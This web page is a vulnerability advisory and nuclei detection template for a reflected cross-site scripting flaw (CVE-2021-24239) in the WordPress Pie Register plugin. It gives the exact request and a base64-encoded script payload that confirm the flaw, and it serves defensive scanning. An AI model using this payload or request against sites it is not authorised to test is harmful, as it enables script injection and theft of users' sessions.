WordPress Pie Register <3.7.0.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the victim's browser, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the victim.

Fix

Fixed in version 3.7.0.1.

How to confirm it

Send: GET /wp-content/plugins/pie-register/readme.txt
Positive when: contains "Pie Register" and "Tags:"
Send: GET {{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg…
Positive when: status_code == 200 and contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")

Run it with nuclei: nuclei -id CVE-2021-24239 -u <target>

The full check

id: CVE-2021-24239

info:
  name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the victim's browser, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the victim.
  remediation: Fixed in version 3.7.0.1.
  reference:
    - https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34
    - https://plugins.trac.wordpress.org/changeset/2507536/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24239
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24239
    cwe-id: CWE-79
    epss-score: 0.01602
    epss-percentile: 0.76024
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: genetechsolutions
    product: "pie_register"
    framework: wordpress
  tags: cve2021,cve,xss,pie-register,wp,wpscan,genetechsolutions,wordpress,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Pie Register'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from